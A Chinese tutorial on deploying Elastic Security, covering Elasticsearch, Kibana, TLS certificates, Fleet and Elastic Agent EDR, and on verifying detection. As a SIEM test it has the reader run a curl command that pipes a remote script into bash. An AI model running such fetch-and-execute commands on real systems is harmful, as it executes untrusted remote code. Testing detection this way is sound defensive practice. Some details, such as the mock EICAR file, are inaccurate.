1. 环境规划与准备工作
部署Elastic Security集成环境前,合理的架构设计能避免后期80%的配置问题。我建议采用"1台Linux服务器+多终端"的经典组合,这个方案在中小型企业中实测稳定性最佳。具体到硬件配置,Elasticsearch节点至少需要4核CPU、8GB内存和200GB存储空间,这是保证基础性能的黄金线。
操作系统选择上,Ubuntu Server 20.04 LTS是最稳妥的选择,它的长期支持特性和广泛兼容性可以省去很多依赖问题。记得先执行sudo apt update && sudo apt upgrade -y更新系统,这个步骤看似简单却经常被忽略,我就曾因为跳过这步导致TLS证书生成失败。
网络规划要特别注意防火墙设置:
- 9200端口(Elasticsearch HTTP API)
- 5601端口(Kibana Web界面)
- 8220端口(Fleet Server通信) 建议用
ufw工具预先配置好规则:
sudo ufw allow 9200/tcp sudo ufw allow 5601/tcp sudo ufw enable2. Elastic Stack核心组件安装
2.1 Elasticsearch部署实战
安装Elasticsearch时,官方源的速度问题可以通过国内镜像解决。这里分享一个实测可用的加速方案:
echo "deb https://mirrors.aliyun.com/elasticstack/7.x/apt stable main" | sudo tee /etc/apt/sources.list.d/elastic-7.x.list配置文件/etc/elasticsearch/elasticsearch.yml有三个关键参数必须修改:
cluster.name: production-security network.host: 0.0.0.0 discovery.type: single-node特别注意discovery.type设置错误会导致节点无法启动,这是新手最容易踩的坑。启动后验证服务状态的正确姿势是:
curl -XGET "http://localhost:9200/_cluster/health?pretty"看到"status" : "green"才算真正成功。
2.2 Kibana配置技巧
Kibana的/etc/kibana/kibana.yml需要重点关注这些参数:
server.port: 5601 server.host: "0.0.0.0" elasticsearch.hosts: ["http://localhost:9200"]有个隐藏技巧:在内存不足的机器上,可以添加server.publicBaseUrl参数避免页面加载卡顿。启动后别急着登录,先用journalctl -u kibana --no-pager -n 50检查日志,我遇到过三次启动失败都是因为JVM内存分配问题。
3. 安全通信配置全流程
3.1 TLS证书自动化生成
证书配置是安全集成的核心环节。推荐使用Elasticsearch自带的certutil工具生成全套证书:
/usr/share/elasticsearch/bin/elasticsearch-certutil cert \ --keep-ca-key \ --pem \ --in instances.yml \ --out /etc/elasticsearch/certs.zip这个命令会生成包含CA证书、节点证书的压缩包。实例配置文件instances.yml的编写模板如下:
instances: - name: "elasticsearch" ip: ["192.168.1.100"] - name: "kibana" ip: ["192.168.1.100"]3.2 跨组件SSL配置
Elasticsearch的SSL配置需要修改两个层面:
# 传输层加密 xpack.security.transport.ssl.enabled: true # HTTP层加密 xpack.security.http.ssl.enabled: trueKibana的配置更复杂些,需要同时处理前后端通信:
elasticsearch.ssl.certificateAuthorities: ["/path/to/ca.crt"] server.ssl.certificate: "/path/to/kibana.crt"这里有个血泪教训:证书文件权限必须设为600,否则服务会拒绝读取。完成配置后,一定要用openssl s_client -connect localhost:9200 -showcerts验证证书链是否完整。
4. 终端防护(EDR)集成
4.1 Elastic Agent部署
通过Kibana的Fleet管理界面获取安装命令时,Windows系统需要以管理员身份运行:
.\elastic-agent.exe install --url=https://fleet-server:8220 --enrollment-token=your-tokenLinux终端则要注意selinux策略:
sudo chcon -R -t bin_t /opt/Elastic/Agent/*4.2 策略配置实战
在Fleet中创建策略时,这些配置项直接影响防护效果:
- 恶意软件防护:开启实时监控
- 进程保护:设置关键进程白名单
- 文件完整性监控:监控/etc等敏感目录 建议先启用"仅检测"模式观察一周,再切换为主动防护。我在客户现场见过因为策略过严导致业务中断的案例,循序渐进才是王道。
5. 安全功能验证方案
5.1 SIEM检测规则测试
内置的"可疑进程启动"规则是个很好的测试起点。在Linux终端执行:
curl -sL https://example.com/suspicious.sh | bash30秒内应该在Security应用看到告警。更专业的测试可以用Atomic Red Team工具模拟攻击行为。
5.2 EDR防护效果验证
尝试以下操作验证终端防护:
- 创建测试恶意文件
echo "test" > /tmp/eicar.com - 尝试执行
chmod +x /tmp/eicar.com健全的EDR应该立即阻断操作并在控制台生成事件记录。